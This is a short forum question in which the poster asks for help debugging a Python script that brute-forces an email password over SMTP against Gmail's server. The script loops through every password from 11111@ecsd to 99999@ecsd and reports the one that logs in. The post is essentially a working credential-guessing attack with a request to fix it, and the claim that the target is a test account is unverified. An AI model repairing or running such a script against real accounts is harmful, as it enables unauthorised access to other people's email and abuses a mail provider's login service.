I am trying to run a brute force attack on a test email that I know is in the range of 11111@ecsd to 99999@ecsd however when running my code I come upon errors of some sort. Not sure what is wrong here.

The purpose is for the program to guess and login using every possible password from the given range (11111@ecsd – 99999@ecsd) and then tell me which password was correct. I know indentation is incorrect, but I have to post it in this format.

import smtplib

def main():
host = 'smtp.gmail.com'
port = 587
user = '[email protected]'

for i in range(11111, 100000):
    password = f"{i}@ecsd"
    if smtp_login(host, port, user, password):
        print("[+] Correct Password Found:", password)
        break

def smtp_login(host, port, user, password):
try:
    server = smtplib.SMTP(host, port)
    server.ehlo()
    server.starttls()
    server.login(user, password)
    server.quit()  # Close the connection after successful login
    return True
except smtplib.SMTPAuthenticationError:
    return False

if __name__ == "__main__":
main()